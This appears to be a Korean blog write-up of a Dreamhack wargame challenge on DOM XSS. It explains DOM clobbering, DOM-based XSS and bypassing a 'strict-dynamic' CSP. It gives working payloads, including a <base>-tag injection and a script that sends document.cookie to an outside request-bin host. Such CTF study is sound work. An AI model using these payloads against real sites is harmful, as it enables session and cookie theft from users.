security/웹해킹

[Dreamhack Wargame] DOM XSS

민사민서 2023. 7. 9. 20:30

Document Object Model (DOM)

- 웹 페이지에 대한 프로그래밍 인터페이스

- 웹 개발자가 작성한 웹 문서는 브라우저에서 파싱되어 DOM으로 표현됨

- 자바스크립트가 웹 문서에 접근할 때에는 DOM을 통해 접근하게 되며, DOM에서 제공하는 API 사용
- DOM 내에서 웹 개발자가 작성한 HTML 문서는 트리 형태가 되어 노드로 표현됨

var elem = document.getElementById("name");
elem.innerText = "My name is minseo";

 

DOM Clobbering XSS

- id, name 등 HTML에서 이용되는 속성을 이용해 자바스크립트에서 접근 가능한 DOM 객체들의 속성 및 메소드 등을 변조하는 공격 기법

- HTML injection이 가능해야 한다

 

원리?

- Javascript에서 별도 변수 정의 없이 "xxxxx"에 접근하면 해당 id를 가진 element를 DOM에서 찾아서 리턴함

ex) 아래와 같은 코드에서...

<form id="form">
	<input id="firstName" value="John">
</form>

* 'form' 접근 시 <form id="form>...</form> 리턴

* 'form.firstName' 접근 시 <input id="firstName" value="John"> 리턴

* form.firstName.value = 'Kim' 을 통해 input 태그의 값 변경 가능

- 이로 인해 DOM 객체들의 속성/메소드들, 혹은 전역변수와 충돌하여 문제가 된다

 

예시?

- DOM Clobbering using HTML Collection

<a id="test" name="hi" href="123"></a>
<a id="test"></a>

이렇게 id가 동일한 element 2개 존재할 경우 HTML collection 객체가 생성된다

. 과 [0] [1] 을 통해 각 요소에 접근 가능하다

또한 <a> 태그는 toString() 결과 href의 값을 리턴한다

// <a> 태그와 <area> 태그만 이런 성질을 가진다!!

아래 코드에서 HTML Injection을 통해 alert 창을 띄워보자.

if(window.CONFIG) 와 if(CONFIG.redirectUrl)을 통과해 location.href 에 javascript: 스키마와 함께 코드를 넣으면 될 듯

<!-- HTML CODE IS INJECTED HERE -->
<div id="config_status" style="white-space: pre;"></div>
<script>
    if (window.CONFIG) {
        if (CONFIG.redirectUrl) {
            location.href = CONFIG.redirectUrl
        } else {
            document.write("<h1>redirectUrl is empty</h1>")
        }
    } else {
        document.write("<h1>CONFIG is not defined.</h1>")
    }
</script>

정답은....

<a id="CONFIG" name="redirectUrl" href="javascript:alert(1);">
<a id="CONFIG">

속성을 두 개 부여함으로써  window.CONFIG.redirectUrl이 존재하게 만들었고,

location.href에 대입되는 과정에서 <a> tag의 toString()이 호출되면서 href 값이 들어간 것이다

 

- DOM Clobbering using form tag

form 태그 내부에 존재하는 <input> 객체를 id나 name을 통해 .(dot operator)로 접근할 수 있다

<form id="abc">
    <input id="b">
</form>

 

 

DOM-based XSS

- DOM-based XSS는 클라이언트, 즉 자바스크립트 단에서 이용자의 데이터를 가져와 사용하다가 XSS 취약점이 발생
- 자바스크립트에서 URL의 파라미터나 해시를 가져와 innerHTML, outerHTML, insertAdjacentHTML과 같이 HTML에 마크업을 삽입할 수 있도록 해주는 기능에서 주로 발생

 

ex)

var name_el = document.getElementById("name");
name_el.innerHTML = `My name is ${decodeURIComponent(location.hash.slice(1))}.`;

url을 https://example.com/vuln#<img src=x onerror=alert(1)> 이렇게 주면 XSS 가능하겠죠

 

문제 분석

@app.after_request
def add_header(response):
    global nonce
    # CSP 적용
    response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}' 'strict-dynamic'"
    nonce = os.urandom(16).hex()
    return response

- CSP 적용되어있는데 'strict-dynamic' 보임

- 신뢰할 수 있는 스크립트에 의해 동적으로 추가된 스크립트를 허용하도록 지시하는 것

ex) var s = document.createElement('script'); s.src='~~~~'; document.body.appendChild(s);

ex) s.innerHTML = alert(1);

 

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html", nonce=nonce)
    elif request.method == "POST":
        param = request.form.get("param")
        name = request.form.get("name")
        if not check_xss(param, name, {"name": "flag", "value": FLAG.strip()}):
            return f'<script nonce={nonce}>alert("wrong??");history.go(-1);</script>'

        return f'<script nonce={nonce}>alert("good");history.go(-1);</script>'

- 플래그가 담긴 쿠키와 함께 /vuln?param=[param input]#[name input] 에 접속하도록 함

- location.href 와 document.cookie를 이용해 외부 request bin이나 /memo 엔드포인트에 get 요청을 보내야 함

 

  <script nonce={{ nonce }}>
    window.addEventListener("load", function() {
      var name_elem = document.getElementById("name");
      // URL 해쉬값을 가져오는구나
      name_elem.innerHTML = `${location.hash.slice(1)} is my name !`;
    });
 </script>
  {{ param | safe }}
  <pre id="name"></pre>

- vuln.html의 일부이다

- param을 통해 HTML injection이 가능하며, 해시값은 name_elem의 innerHTML 값으로 들어간다

- URL 해시 값에 대해 URL decoding 과정을 안거치므로 <, > 사용 불가. HTML element 삽입 불가능

문제 풀이

1. CSP bypass using <base> tag

/vuln 소스코드 하단

HTML Injection이 가능한 param에 대해 아무런 필터링이 이루어지지 않고 있다

param = <base href="https://minseo25.github.io/"> 을 통해 개인서버 주소를 base URI로 바꾸고

개인서버의 /static/js/jquery.min.js 에 exploit 코드를 업로드하면 된다

location.href = 'https://enh4d3wjnllvs.x.pipedream.net?'+document.cookie

2. DOM clobbering XSS

  {{ param | safe }}
  <pre id="name"></pre>

<pre id="name"> element보다 위에 injection 가능하다

id="name"인 element를 삽입한다면 document.getElementById("name") 결과 내가 삽입한 객체가 리턴될 것

 

<script id="name"></script>

- param으로 id="name"인 <script> 태그를 삽입한다 (empty tag이므로 CSP에 걸리지 않는다)

#location.href='/memo?memo='+document.cookie;//

- name으로 다음과 같이 건네주면 된다

- 신뢰 가능한(nonce 값 인증된) 스크립트에 의해 동적으로 추가되므로(using innerHTML) 전혀 문제되지 않는다